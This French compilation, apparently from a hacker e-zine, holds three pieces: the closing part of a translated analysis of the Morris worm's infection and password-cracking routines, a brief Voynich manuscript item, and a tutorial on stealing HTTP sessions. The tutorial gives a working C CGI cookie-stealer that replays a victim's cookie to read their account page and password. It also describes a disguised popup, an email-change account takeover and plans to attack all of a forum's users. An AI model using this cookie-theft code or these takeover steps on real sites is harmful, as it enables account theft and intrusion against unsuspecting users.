personnes comme moi.)" En fait, comme l'a dit Eric Allman, "[V]ous ne pouvez même pas faire confiance à du code que vous avez entièrement créé vous même." Le problème basique de la confiance envers les programmes systèmes n'est pas près de se résoudre. Le ver utilise deux routines favorites quand il décide qu'il veut infecter une machine. Une routine que nous avons baptisé infect() est utilisée à partir de fonctions de recherche d'hôtes comme hg(). infect() commence par vérifier qu'il n'est pas en train d'infecter la machine locale, une machine déjà infectée ou une machine précédemment attaquée mais qu'il n'avait pas été incapable de pénétrer ; les états "infecté" et "immunisé" sont signalés par des drapeaux sur la structure d'une machine quand l'attaque a respectivement réussie ou échouée. Le ver s'assure ensuite qu'il peut obtenir une adresse pour sa cible, la marquant comme étant immunisée si il n'y parvient pas. Vient alors une série d'attaques : d'abord par rsh à partir du compte qui fait fonctionner le ver, puis par finger, et enfin par sendmail. Si infect() échoue, il marque la machine comme étant immunisée. L'autre routine d'infection se nomme hul() et elle est appelée à partir du code de cassage de mots de passe, une fois qu'un mot de passe a été trouvé. hul(), comme infect(), s'assure qu'elle ne réinfecte pas une machine, puis vérifie une adresse. Si un éventuel nom d'utilisateur distant est trouvé dans les fichiers .forward et .rhosts, le ver vérifie qu'il est valide - il ne doit pas contenir de caractères de ponctuation ou de caractères de contrôle. Si un nom d'utilisateur distant est indisponible le ver se sert du nom d'utilisateur local. Une fois que le ver possède un nom d'utilisateur et un password, il contacte le serveur rexec de sa cible et essaie de s'authentifier. S'il y parvient, il procède à la phase de démarrage ; dans le cas contraire, il tente une approche légèrement différente - il se connecte au serveur rexec local avec le nom d'utilisateur local et son mot de passe, puis il utilise cet interpréteur de commande pour récupérer un shell chez sa victime avec rsh. Cela fonctionnera si la cible considère l'hôte local comme étant de confiance (dans son fichier /etc/hosts.equiv), ou qu'elle considère le compte local comme étant sûr (marqué dans son fichier .rhosts). La fonction hul() ne prend pas en compte le drapeau d'immunité de infect() et ne fixe pas ce drapeau elle-même, cela s'explique par le fait que hul() peut réussir là ou infect() échoue (l'une fait une recherche sur les comptes d'utilisateurs, l'autre sur les machines). infect() et hul() font toutes les deux appel à une routine, que nous avons appelé sendworm(), pour faire leur sale boulot (5). sendworm() recherche le fichier source de démarrage l1.c dans sa liste d'objets, puis elle utilise la routine makemagic() afin de récupérer un canal de communication (un socket), un numéro de port réseau aléatoire, ainsi qu'un numéro magique pour l'authentification. (makemagic() possède un effet secondaire intéressant - il recherche l'adresse d'une machine en essayant de se connecter à son port TCP telnet, cela produit un message de log particulier de la part du serveur telnet.) Si makemagic() s'est réalisé correctement, le ver commence à envoyer des commandes à l'interpréteur de commandes distant qui a été lancé lors de l'attaque effectuée juste avant. Il change de répertoire pour un endroit non-protégé (/usr/tmp), et y met la source d'amorçage, faisant appel à l'éditeur de flux UNIX sed pour copier le flux entrant. La source d'amorçage est compilée puis lancée sur le système distant, ensuite le ver lance une routine nommée waithit() qui attend que la routine de démarrage distante le contacte sur le port choisi. L'amorçage est vraiment simple. On lui passe l'adresse de la machine d'origine, un numéro de port TCP ainsi qu'un nombre magique en arguments. Au démarrage, le code d'amorçage s'efface lui même de façon à ne pas être détecté dans le système de fichier, puis il appelle fork() pour créer un nouveau processus. L'ancien processus subsiste, permettant au ver d'origine de continuer son travail. Le code d'amorçage récupère ses arguments puis les mets à zéro pour les cacher du programme de statut système ; il est alors prêt à se connecter sur le réseau à son ver père. Quand la connexion est établie, la routine y fait passer le nombre magique, que le père va comparer avec sa propre copie. Si le père valide ce nombre, il envoie ensuite une série de noms de fichiers et de fichiers que le code d'amorçage écrit sur le disque. Si un problème survient, le code efface tous ces fichiers et quitte. Finalement la transaction se termine, et la routine d'amorçage fait appel à un shell pour terminer le travail. Pendant ce temps, la fonction waithit() du père attend jusqu'à deux minutes que la routine d'amorçage la contacte ; si l'amorçage ne parvient pas à rappeler, ou si l'authentification échoue, le worm décide d'abandonner et signale un échec. Si une connexion est établie, le worm expédie tous ses fichiers suivis par un indicateur de fin de fichier (eof). Il se met en pause quatre secondes, histoire qu'un shell distant soit lancé, puis il donne les commandes pour créer un nouveau ver. Pour chaque fichier présent dans sa liste, le ver tente de créer un objet exécutable, typiquement chaque fichier contient du code pour un type d'ordinateur particulier, et cette création échouera jusqu'à ce que le ver trouve le bon type d'ordinateur. Si le ver père parvient finalement à générer un ver fils exécutable, il le fait se détacher avec l'option -p pour tuer le shell, puis ferme la connexion. La machine cible est marquée comme étant "infectée". Si aucun des objets n'a produit un ver fils utilisable, le père efface les déchets et waithit() retourne un code d'erreur. Quand un système se fait submerger par les vers, le répertoire /usr/tmp peut se remplir avec les restes de fichiers comme conséquence à un bug dans waithit(). Si la compilation d'un ver prend plus de 30 secondes, le code de re-synchronisation signalera une erreur mais waithit() ne parviendra pas à effacer les fichiers qui ont été créés. Sur l'une de nos machines, 13 Mo de données représentant un ensemble de 86 fichiers se sont accumulés en 5.5 heures. Un algorithme de cassage de password paraît être une fonctionnalité lente et encombrante à placer dans un worm, mais celui ci rend cette tache persistante et efficace. Le ver est aidé par des statistiques regrettables conçernant les choix typiques de mots de passe. Dans cette partie nous étudierons comment le ver choisi des passwords à tester et comment la routine d'encryption de password UNIX a été modifiée.
La divination des mots de passe par le ver se fait en quatre étapes. La première étape rassemble des informations sur les mots de passe, alors que les étapes restantes représentent de moins en moins des sources de passwords potentielles. La routine centrale de cracking est appelée cracksome(), et elle contient un switch (aiguillage) sur chacune de ces quatre étapes. La routine qui implémente la première étape a été baptisée crack_0(). Le rôle de cette routine est de collecter des informations sur les machines et les comptes. Elle est lancée une seule fois ; l'information récupérée persiste toute la durée de vie du worm. Son implémentation est simple et sans détours : elle lit les fichiers /etc/hosts.equiv et /.rhosts pour les machines à attaquer, puis lit le fichier password à la recherche de comptes d'utilisateurs. Pour chaque compte, le ver garde en mémoire le nom, le mot de passe crypté, le répertoire personnel (le home) ainsi que le champ d'information sur l'utilisateur. Comme première vérification rapide, il regarde les fichiers .forward dans le répertoire home de chaque utilisateur et mémorise tous les noms de machines qu'il y trouve, les marquant de la même façon que les précédentes. Nous n'avons pas fait preuve d'originalité en nommant la fonction de l'état suivant crack_1(). crack_1() cherche tous les mots de passe qui peuvent être cassés de façon triviale. Il s'agit des mots de passe qui peuvent être devinés simplement à partir des informations présentes dans le fichier password. Grampp et Morris ont effectué une étude sur plus de 100 fichiers password qui montre que entre 8 et 30 pourcents des mots de passe sont littéralement les même que le nom de l'utilisateur ou avec de petites variations. Les essais du ver sont un peu plus durs que cela : il teste le mot de passe vide, le nom de compte, le nom de compte répété (concaténé à lui-même), le prénom (extrait du champ d'information concernant l'utilisateur, avec la première lettre mise en minuscule), le nom de famille ainsi que le nom de compte retourné. Il traite jusqu'à 50 comptes par appel à cracksome(), mémorisant sa place dans la liste de comptes et passant à l'étape suivante lorsqu'il est à court de comptes à tester. L'étape suivante est gérée par crack_2(). Dans cette étape le ver compare une liste de mots de passe favoris, un password par appel, avec tous les mots de passe cryptés qui étaient présents dans le fichier password. Cette liste contient 432 mots, la plupart sont des mots tirés du dictionnaire anglais ou des noms propres ; il est fort probable que cette liste soit générée à partir de fichiers de mots de passe dérobés puis cassés par l'auteur, sur son temps libre et sur sa machine personnelle. La variable globale nextw est utilisée pour compter le nombre de mots de passe testés, et c'est ce compteur (en plus de la perte au jeux de contrôle de la population) qui décide si le ver quitte à la fin de la boucle principale - nextw doit être supérieure à 10 afin que le ver puisse se terminer. Puisque le ver passe normalement 2,5 minutes à chercher des clients durant l'exécution de la boucle principale et fait appel à cracksome() deux fois lors de cette période, il semblerait que le ver doit faire au minimum 7 passages dans la boucle principale, ce qui lui prend plus de 15 minutes au total (6). Il faudra 9 heures au ver pour scanner sa propre liste de mots de passe et procéder à l'étape suivante. La dernière étape est conduite par crack_3(). Cette fonction ouvre le dictionnaire présent sur les systèmes UNIX, se trouvant à /usr/dict/words, et lit chaque mot l'un après l'autre. Si un mot est en lettres capitales, le ver teste aussi une version en minuscules. Cette recherche peut durer une éternité : cela prendrait environ quatre semaines au ver de traiter un dictionnaire comme le notre. Quand le ver sélectionne un mot de passe potentiel, il le passe à la routine que nous avons nommé try_password(). Cette fonction fait appel à la version du ver de la fonction d'encryption de password UNIX crypt() et compare le résultat avec le mot de passe crypté de la cible actuelle (le compte traité à ce moment). Si les résultats concordent, ou si le ver a découvert que le password était une chaîne vide (pas de password), le ver sauvegarde le mot de passe en clair et attaque les machines possédant ce compte. Une routine que nous avons baptisé try_forward_and_rhosts() lit les fichiers .forward et .rhosts des utilisateurs, appelant la fonction hul() décrite précédemment pour chaque compte trouvé.
Il y a malheureusement des experts en cryptographie qui ont apporté une attention toute particulière à des implémentations rapides de l'algorithme d'encryption d'UNIX. Le système d'authentification par password d'UNIX fonctionne sans garder un seul mot de passe dans sa version lisible (en clair) sur le système, et fonctionne même sans empêcher les utilisateurs de lire les mots de passe cryptés présents sur le système. Quand un utilisateur tape son mot de passe en clair, le système l'encrypte en utilisant la routine standard de la librairie, crypt(), puis compare le résultat avec la sauvegarde du password crypté. L'algorithme d'encryption a été fait de telle façon qu'il soit impossible à inverser, empêchant alors de retrouver un password en analysant juste la version chiffrée, et il est aussi long à faire marcher, si bien que les tests de mots de passe prendront beaucoup de temps. L'algorithme d'encryption des passwords UNIX est basé sur le Standard d'Encryption de Données Fédéral (DES = Data Encrytion Standard). Pour le moment personne ne sait comment inverser l'algorithme en un laps de temps raisonnable, et alors que des puces d'encodage rapide en DES sont disponibles, la version UNIX de l'algorithme est légèrement modifiée de sorte qu'il est impossible d'utiliser une puce de DES standard pour l'implémenter. Deux problèmes relatifs à l'implémentation UNIX du DES se sont atténués. La vitesse des ordinateurs augmente continuellement - les machines actuelles sont généralement plusieurs fois plus rapides que les machines qui étaient à disposition quand le système de password actuel fut inventé. A coté de ça, des méthodes ont été découvertes au niveau logiciel permettant d'accélérer le DES. Les mots de passe UNIX sont maintenant bien plus vulnérables à une recherche continuelle (attaque exhaustive ou dite de force brute), particulièrement si les mots de passes cryptés sont déjà connus. La version de la routine UNIX crypt() du ver s'exécute plus de neuf fois plus rapidement que la version standard lorsque nous avons effectué les tests sur notre VAX 8600. Alors qu'il faut 54 secondes à la version standard de crypt() pour encrypter 271 passwords sur notre 8600 (le nombre de mots de passe actuellement présents dans notre fichier password), la version du worm met elle, moins de 6 secondes. L'algorithme crypt() du ver semble se baser sur un compromis entre le temps et la mémoire : le temps nécessaire à l'encryption d'un mot de passe contre l'important espace des tables supplémentaires nécessaires pour extraire des performances de l'algorithme. Curieusement, une amélioration de l'exécution est en fait d'économiser un peu de mémoire. L'algorithme traditionnel d'UNIX stocke chaque bit du password dans un octet, alors que l'algorithme du ver entasse les bits dans deux mots de 32 bits. Cela permet à l'algorithme du ver d'utiliser les champs de bits et les opérations de décalage (shift) sur les données du mot de passe, ce qui est bien plus rapide. Parmis les autres accélérations, on trouve les boucles déroulantes, les tables de combinaisons, des masques et des décalages précalculés, ainsi que les permutations initiales et finales toutes les 25 exécutions du DES modifié que l'algorithme d'encryption des mots de passe utilise. L'amélioration la plus importante est le résultat des permutations de combinaisons : le ver se sert de tableaux étendus qui sont indexés par groupe de bits plutôt que par un seul bit comme dans l'algorithme standard. La version rapide de crypt() réalisée par Matt Bishop fait tout cela et précalcule même plus de fonctions, la rendant deux fois plus rapide que celle du ver mais nécessitant environ 200 Ko de données initialisées contre les 6 Ko utilisées par le ver ou les 2 Ko utilisées par le crypt() normal. Comment les administrateurs systèmes peuvent-ils faire face à ces implémentations rapides de crypt() ? Une des suggestions qui a été présentée pour tromper les méchants est l'idée de fichier password 'shadow'. Dans ce système, les mots de passe cryptés sont cachés plutôt que public, obligeant le cracker à casser un compté privilégié ou utiliser l'unité centrale de la machine et son algorithme d'encryption (lent) pour attaquer, avec le danger supplémentaire qu'un test sur un mot de passe soit logé et l'attaque découverte. L'inconvénient des fichiers shadow est le fait que si un méchant contourne, d'une façon ou d'une autre, les protections de ce fichier qui contient les mots de passe actuels, tous les mots de passe doivent être considérés comme cassés et devront être remplacés. Une autre proposition qui a été faite est de remplacer l'implémentation UNIX du DES par l'implémentation la plus rapide disponible, mais l'appeler 1000 fois ou plus à la place des 25 fois utilisées dans le code UNIX de crypt(). A moins que le nombre de tours de boucle se stabilise d'une façon où d'une autre à la vitesse maximum offerte par le CPU, cette méthode ne fait que repousser l'heure fatidique jusqu'à ce que le cracker trouve une machine plus performante. Il est intéressant de noter que Morris et Thompson ont mesuré le temps de mise en uvre de l'ancien algorithme d'encryption m-209 (non-DES) des mots de passe utilisé dans les versions précédentes de UNIX sur le PDP-11/70 et ont observé qu'une bonne implémentation prenait seulement 1,25 millisecondes par encryption, ce qu'ils ont jugé insuffisant ; actuellement un VAX 800 utilisant l'algorithme DES de Matt Bishop requiert 11,5 millisecondes par encryption, et des machines 10 fois plus rapides que le VAX 8600 et à un prix plus attractif devrait être bientôt disponibles (si elles ne le sont pas déjà !).
Je ne compte pas donner de points de vue définitifs sur la moralité de l'auteur du ver, l'éthique relative à la publication d'informations de sécurité (full-disclosure ou non) ou les besoins de la communauté informatique en matière de sécurité, puisque des personnes plus (ou moins) qualifiées que moi sont constamment en train de troller sur ces sujets dans les différents newsgroups et les mailing-lists. Par respect envers le mythique administrateur système lambda qui a dû être perdu au milieu de toute ces informations et désinformations, je vais tenter de répondre de répondre à quelques une des questions les plus importantes de façon circonscrite mais utile. Le ver a t-il causé des dégâts ? Le ver n'a pas détruit de fichiers, na pas intercepté de courriels privés, n'a pas corrompu de bases de données ni installé de chevaux de Troie. En revanche il faisait la concurrence au niveau du temps d'utilisation du CPU avec les processus normaux de l'utilisateur, et en fin de compte les écrasait. Il épuisait les ressources système limitées tels que la table des fichiers ouverts ou la table des processus, faisant ainsi échouer les processus par manque de ressources. Il amenait certaines machines à crasher en les faisant fonctionner à la limite de leurs capacités, provoquant des bugs qui ne seraient pas apparus dans des conditions normales. Il obligea des administrateurs à redémarrer une ou plusieurs fois leurs machines pour effacer les vers du système, mettre fin aux sessions des utilisateurs et aux jobs qui tournaient depuis longtemps. Il força des administrateurs à éteindre leurs passerelles réseau, incluant les passerelles entre d'importants réseaux de recherche nationaux, qui faisaient leur possible pour isoler le ver ; cela générait des délais allant jusqu'à plusieurs jours dans le cas d'échange de courrier électronique, obligeant certains projets à repousser leurs dates limites et faisant perdre à d'autres du précieux temps de travail. Il força le personnel technique de tout le pays à annuler leurs importantes recherches et travailler 24 heures par jour à essayer de contrôler et éradiquer les vers. Dans au moins une institution, la direction eu tellement peur qu'elle effaça tous les disques de leur installation qui étaient en ligne au moment de l'infection, et restreigna le rechargement des fichiers aux données pour lesquelles elle était sûre qu'elles n'avaient pas été modifiées par un élément étranger. Une des conséquences fut la dégradation de la bande passante à travers les passerelles qui continuaient de faire fonctionner le ver après infection et qui utilisaient la majorité de leurs capacités à le transférer d'un réseau à l'autre. Le ver pénétra des comptes d'utilisateurs, les faisant ainsi passer comme dangereux pour le système alors qu'en fait ils n'étaient pas responsables. Il est vrai que le ver aurait pu être bien plus dangereux qu'il ne l'a été : dans les dernières semaines, différentes failles de sécurité ont été découvertes qui auraient pu être utilisées par le ver pour détruire des systèmes. Peut-être devrions-nous nous considérer heureux d'avoir échappé à des événements qui auraient pu se révéler bien plus catastrophiques, et peut-être nous devrions nous montrer reconnaissant d'avoir appris autant sur les faiblesses présentes dans nos systèmes de défense, toutefois je pense que nous devrions échanger notre reconnaissance avec d'autres personnes que l'auteur de ce ver. Le ver était-il malicieux ? Certaines personnes ont suggéré que le worm était une innocente expérience dont le contrôle avait échappé à son créateur, et qu'il n'était pas sensé se propager si rapidement et aussi fortement. Nous pouvons trouver des preuves dans le code du ver qui permettent de soutenir et aussi de détruire cette hypothèse. Il y a un certain nombre de bogues dans le ver qui semblent être le résultat d'une programmation faite à la va-vite ou négligée. Par exemple, dans la routine init(), il y a un appel à la fonction block zéro bzero() qui utilise le block lui-même alors qu'il devrait utiliser l'adresse de ce block en tant qu'argument. Il est tout aussi possible qu'une erreur soit à l'origine du manque d'efficacité des mesures de contrôle de la population prises par le ver. Il peut paraître tout à fait plausible qu'une version de développement du ver se soit "perdue" accidentellement, et que éventuellement son auteur avait l'intention de tester la version finale dans des conditions bien précises, dans un environnement duquel il n'aurait pas pu s'échapper. D'un autre côté il y a des preuves considérables que le ver a été crée de telle façon à ce qu'il se reproduise vite et se propage sur de grandes distances. On pourrait avancer que les routines de contrôle de la population sont faibles parce que l'auteur en a décidé ainsi : il y a un compromis entre propager le ver le plus vite possible et le faire se reproduire assez pour être détecté et stoppé. Un ver existera pour un certain laps de temps et effectuera une certaines quantité de tâches même s'il pert au lancé de dés imaginaire (duel décrit plus haut qui détermine quel ver continue à fonctionner) ; qui plus est, 1 ver sur 7 devient immortel et ne peux pas être supprimé au lancé des dés. Il est plus qu'évident que le ver a été conçu pour entraver les efforts destinés à le stopper même une fois qu'il a été identifié puis capturé. Il est certainement arrivé à ses fins sur ce point là, puisqu'il a fallu au moins un jour avant que le dernier mode d'infection (relatif au serveur finger) soit découvert, analysé et annoncé publiquement ; le ver s'est montré très performant pour ce qui est de se reproduire à ce moment, même sur les systèmes sur lesquels le problème debug de sendmail était corrigé et rexec éteint. Pour finir, il est évident que l'auteur du worm a délibérément introduit le worm sur un site qui ne lui appartenait pas, et qui était à moitié ouvert pour accueillir d'éventuels utilisateurs extérieurs, abusant donc de l'hospitalité de ce serveur. Il semble même avoir été plus loin dans l'abus de la confiance qui lui était donnée en effaçant un fichier de log qui aurait pu révéler des informations qui auraient permis de faire le lien entre son site (serveur) personnel et l'infection. Je pense que l'innocence revient à la communauté des chercheurs plutôt qu'au créateur du ver. Est-ce que une publication sur les détails du worm ne va pas nuire à la sécurité ? Dans un sens, le ver lui-même a résolu le problème : il s'est publié lui-même en s'envoyant à des centaines ou des milliers de machines à travers le monde. Bien sûr une personne mal intentionnée qui désire utiliser les astuces du ver devrait passer par les même efforts que nous avons du traverser afin de comprendre le programme, mais là encore il ne nous a fallut qu'une semaine pour décompiler le programme, bref même s'il faut beaucoup de courage pour hacker le ver, il est clair que ce n'est pas difficile pour un programmeur décent. L'une des astuces les plus efficaces du ver annonçait son arrivée - le gros du hack sendmail est visible dans le fichier de log, et quelques minutes d'étude des sources permettent de découvrir le reste de l'astuce. L'algorithme rapide utilisé pour les mots de passe par le ver pourrait s'avérer utile à des méchants, mais il existe au moins deux autres implémentations plus rapides disponibles depuis un an ou plus, bref ce n'est pas vraiment secret ou original. Enfin, les détails du ver ont suffisamment bien été ébauchés sur différents newsgroups ou listes de diffusions que les principaux exploits du ver sont de la connaissance générale. Je crois qu'il est bien plus important de comprendre ce qu'il s'est passé, afin que nous puissions réduire les chances que cela se reproduise à nouveau, plutôt que de passer notre temps dans un effort futile à couvrir l'affaire aux yeux de tous, sauf aux yeux des méchants. Des correctifs pour les sources et les binaires sont largement diffusés, et toute personne utilisant un système vulnérable doit immédiatement récupérer ces correctifs, si cela n'est pas déjà fait.
Cette citation est l'un des euphémismes de l'année. L'histoire du ver a fait la couverture du New York Times et d'autres quotidiens pendant plusieurs jours. Il a été le sujet de prédilection des télévisions et des radios. Même la bande dessinée Bloom County s'est moquée de cet événement. Notre communauté n'avait jamais été autant sous les projecteurs auparavant, et aux vues des responsabilités, cela nous a effrayé. Je ne vous donnerait pas de banalités fantaisistes sur comment cette expérience va nous changer, mais je pense que plus ces articles seront ignorés, moins nous serons en sécurité, et j'ai le sentiment qu'une meilleure compréhension de cette crise qui est derrière nous, nous aidera à mieux gérer la prochaine. Espérons que nous aurons autant de chance là prochaine fois que nous en avons eu cette fois çi. Personne ne doit être tenu responsable pour les inexactitudes
ici excepté moi, mais il y a vraiment beaucoup de personnes
à remercier pour avoir aidé à décompiler
le ver et pour avoir aidé à documenter cette épidémie. Le document de Matt Bishop "A Fast Version of the DES and a Password Encryption Algorithm", (c) 1987 by Matt Bisbop and the Universities Space Research Association, a été utile pour (légèrement) comprendre le mystère du DES pour moi. Toute personne désirant comprendre le hack du DES par le worm devrait d'abord jeter un coup d'oeil à ce document. Les documents suivants sont référencés pour les différentes citations et pour d'autres matériaux : Data Encryption Standard, FIPS PUB 46, National Bureau of Standards, Washington D.C., January 15, 1977. F. T. Grampp and R. H. Morris, "UNIX Operating System Security," in the AT&T Bell Laboratories Technical Journal, October 1984, Vol. 63, No. 8, Part 2, p. 1649. Brian W. Kernighan and Dennis Ritchie, The C Programming Language, Second Edition, Prentice Hall: Englewood Cliffs, NJ, (C) 1988. John Markoff, "Author of computer 'virus' is son of U.S. Electronic Security Expert," p. 1 of the New York Times, November 5, 1988. John Markoff, "A family's passion for computers, gone sour," p. 1 of the New York Times, November 11, 1988. Robert Morris and Ken Thompson, "Password Security: A Case History," dated April 3, 1978, in the UNIX Programmer's Manual, in the Supplementary Documents or the System Manager's Manual, depending on where and when you got your manuals. Robert T. Morris, "A Weakness in the 4.2BSD Unix TCP/IP Software," AT&T Bell Laboratories Computing Science Technical Report #117, February 25, 1985. This paper actually describes a way of spoofing TCP/IP so that an untrusted host can make use of the rsh server on any 4.2 BSD UNIX system, rather than an attack based on breaking into accounts on trusted hosts, which is what the worm uses. Brian Reid, "Massive UNIX breakins at Stanford," RISKS-FORUM Digest, Vol. 3, Issue 56, September 16, 1986. Dennis Ritchie "On the Security of UNIX," dated June 10, 1977, in the same manual you found the Morris and Thompson paper in. Ken Thompson, "Reflections on Trusting Trust," 1983 ACM Turing Award Lecture, in the Communications of the ACM, Vol. 27, No. 8, p. 761, August 1984. Détails
|
Le mystère du manuscrit de Voynich |
21 Juin 2004 Nouvelle analyse d'un document médiéval connu mais crypté suggérant un contenu inintéressant. Par Gordon Rugg
Une page typique du manuscrit de Voynich contient environ de 10 à 40 lignes, chacune constituée d'environ 12 mots. En utilisant le modèle trois-syllabe du texte de Voynich, une simple table de 36 colonnes et de 40 lignes contiendrait assez de syllabes pour produire une page entière du manuscrit avec une grille simple. La première colonnes listerais les préfixes, la seconde les "midfixes" et la troisième les suffixes; les colonnes suivantes répèteraient ce modèle. Vous pouvez aligner la grille au coin supérieur gauche de la table pour créé le premier mot du texte de Voynich et ensuite la déplacer de trois colonnes vers la droite pour créer le prochain mot. Ou vous pouvez déplacer la grille une colonne plus loin vers la droite ou sur une ligne plus basse. En positionnant successivement la grille au-dessus des différentes parties de la table, vous pouvez créer des centaines de mots comme dans le texte de Voynich. Et la même table peut être utilisée avec une grille différente pour créer les mots de la page suivante.
|
Vol de session HTTP |
Intro Là vous vous dites "Tu vas voir que cet enculé
va nous faire un article de plus sur le XSS"... Et bien vous avez
tort ! (ou presque.) Quelques rappels ? Le XSS c'est le Cross Script Scripting. Ca consiste a faire exécuter du code javascript dans le navigateur du client. Le truc c'est bien évidemment de trouver un script qui ne filtre pas les variables et va exécuter bêtement ce qu'on lui passe. Le HTTP et les Cookies : Le gros problème dans le
protocole HTTP est qu'il est "stateless". Cela veut dire que
d'une page à une autre le serveur aura totalement oublié
qui vous êtes. Ce défaut a fait un peu tâche quand
des sites ont voulus proposer des services comme les webmails ou les forums
qui doivent garder en mémoire l'identité du visiteur tout
au long de sa "session". Comment sont envoyés les cookies ? Les cookies ne sont pas envoyés spécifiquement
par la méthode GET ou la méthode POST (heureusement d'ailleurs)
; ils sont tout simplement mis dans les headers HTTP. Quand votre navigateur reçoit l'en-tête Set-Cookie, il enregistre la valeur du cookie en mémoire et surtout l'adresse du serveur qui va avec. Si il ne faisait pas le lien entre les deux, le navigateur pourrait envoyer le cookie à n'importe quel serveur :( Maintenant que votre navigateur possède le cookie
avec l'identifiant de session vous pouvez accèder à votre
espace privé. Comme HTTP est stateless votre navigateur doit renvoyer
le cookie à chaque requête. Il l'envoit alors avec l'en-tête
suivant : Le serveur a lui aussi de son côté un fichier correspondant à votre session. Ainsi lorsque vous cliquez sur "déconnexion" le serveur efface ce fichier et vous ne pouvez plus accèder à votre espace privé. Vous l'avez deviné, le vol de session HTTP consiste à accèder à cet espace privé en envoyant le cookie valide alors que la session est encore ouverte. Et pour obtenir ce cookie on a recours à la variable javascript document.cookie. Si vous voulez en savoir plus sur l'injection XSS reportez vous à l'article de MindFlayR dans MindKind11. Du code !! On veut du code ! Pour faire mes tests j'ai programmé une petite zone membre que vous trouverez avec le mag (room.zip.) Cet espace permet aux utilisateurs enregistrés de s'envoyer des messages privés. Premier problème : les messages ne sont pas filtrés et l'injection de code javascript est possible. Second problème : quand on clique sur "Modifier mes infos" le script charge un formulaire déjà remplis :
L'autre utilisateur sur le système (toto) est au
courant de cette faille. Il envoie comme message le texte : Le script en question va alors récupérer le
cookie, former une requête HTTP avec ce cookie, demander la page
account.php ("Modifier mes infos") et aura ainsi le password
de root. Ainsi quand root va lire ses messages il va voir un message
de toto lui disant 'Salut root !'. En même temps une fenêtre
va s'ouvrir qui va récupérer son cookie, lire sa page account.php
et l'enregistrer dans le fichier log.txt du serveur de toto. Toto décide d'améliorer sa technique. Il trouve
une image plus ou moins chaude pour faire croire à une pub. L'image
fait 165 pixel de largeur et 235 pixel de hauteur. Il modifie ensuite
le script qu'il envoie à root : De cette façon lorsque root lit ses mails une popup sans barre d'adresse, sans possibilité de redimensionnement, sans barre d'état et exactement de la taille de l'image s'affiche. De son côté le php de toto doit être modifié : <html> L'ilusion est maintenant parfaite. Root croit qu'il s'agit
d'une fenêtre publicitaire. Petit problème : c'est LENT !!!!
c'est même super lent ! (pour vous donner un autre d'idée
root aurait le temps de fermer 14 popups avant que notre script finisse
de charger complétement.) Ça c'est à cause de PHP
: les sockets en PHP c'est pas au point. Bref on a le concept, l'algo
mais pas le bon langage. #include <stdio.h> #include <stdlib.h> #include <string.h> #include <winsock.h> #define TITLE "Voleur de session" #define HOST "localhost" #define URI "/room/account.php" char x2c(char *what); void header(); void footer(); int main(int argc, char *argv[]) { FILE *out; char requete[1024]; WSADATA wsa; SOCKET sock; SOCKADDR_IN addr; struct hostent *hp; char ch; char *qs = (char *)malloc(256); int x = 0, i = 0, c = 0, f = 0; qs = getenv("QUERY_STRING"); if (qs != NULL){ /* * Bout de code dont je ne connais pas l'auteur qui * permet de traduire les %xx en leurs caractères. */ for (x = 0, i = 0; qs[i]; x++, i++) { if ((qs[x] = qs[i]) == '%') { qs[x] = x2c(&qs[i + 1]); i += 2; } } qs[x] = '\0'; header(); /* * Here you must put your c0d3 ! */ printf("Ton cookie semble etre :<br>%s<br>\n",qs); sprintf(requete,"GET %s HTTP/1.1\n" "Host: %s\nCookie: ", URI, HOST); lstrcat(requete,qs); lstrcat(requete,"\nConnection: close\n\n"); printf("Essayons la requete :<br>%s<br>\n",requete); if(WSAStartup(0x0101,&wsa)!=0) { printf("Initialisation de winsock impossible!"); return 0; } if((hp = gethostbyname(HOST))==0) { printf("Impossible de trouver %s",HOST); return 1; } if((sock = socket(AF_INET, SOCK_STREAM, 0))==-1) { printf("Pb creation socket"); return 1; } addr.sin_addr=*((struct in_addr *)hp->h_addr); addr.sin_family=AF_INET; addr.sin_port=htons(80); if(!(connect(sock,(SOCKADDR *)&addr,sizeof(addr)))) { printf("Connexion OK\n<br>"); send(sock,requete,strlen(requete),0); printf("Data sended\n<br>"); printf("\n"); out=fopen("file.txt","w"); while((recv(sock, &ch, 1, 0))==1) { fputc(ch,out); } fclose(out); } else { printf("Impossible de se connecter\n"); } closesocket(sock); WSACleanup(); } footer(); return 0; } char x2c(char *what) { register char digit; digit = (what[0] >= 'A' ? ((what[0] & 0xdf) - 'A')+10 : (what[0] - '0')); digit *= 16; digit += (what[1] >= 'A' ? ((what[1] & 0xdf) - 'A')+10 : (what[1] - '0')); return (digit); } void header() { printf("Content-type: text/html\n\n"); printf("<html>\n<head><title>%s</title></head>\n", TITLE); printf("<body>\n<pre>\n"); } void footer() { printf("</pre></body></html>\n"); } C'est le CGI que j'ai crée pour faire mes tests. Il faudra faire
quelques retouches si vous désirez le rendre discret. Quand root lit ses mails une fenêtre s'ouvre... aussitôt
ouverte aussitôt chargée :) Vive le C !! Bon dans l'exemple que je vous ai montré c'était un cas stupide mais la méthode est toujours la même. Par exemple sur certains forums quand on ne se rappelle plus de son mot de passe il faut cliquer sur "Me rappeller mon mot de passe" et on reçoit notre pass dans notre boîte mail. Avec la méthode du vol de cookie, à la place de lire une page HTML, on va changer l'adresse email de notre victime en envoyant une requête POST. Par exemple toto va changer l'email de root en 'toto@toto.com' puis il ira sur le forum, fera un échec de connexion en tant que root (mauvais mot de passe) puis cliquera sur "Me rappeller mon mot de passe" et aura le mot de passe root :) Bon ! Maintenant on sait voler la session d'un utilisateur particulier
de façon automatique et surtout au moment où la session
est toujours ouverte. Mais tant qu'à faire un script automatique
autant qu'il serve le plus possible... Comment faire pour attaquer tous
les utilisateurs du forum ou du webmail cible ? La solution : un brute force de requête HTTP. Imaginons un forum
vulnérable au XSS au niveau du script des messages privés.
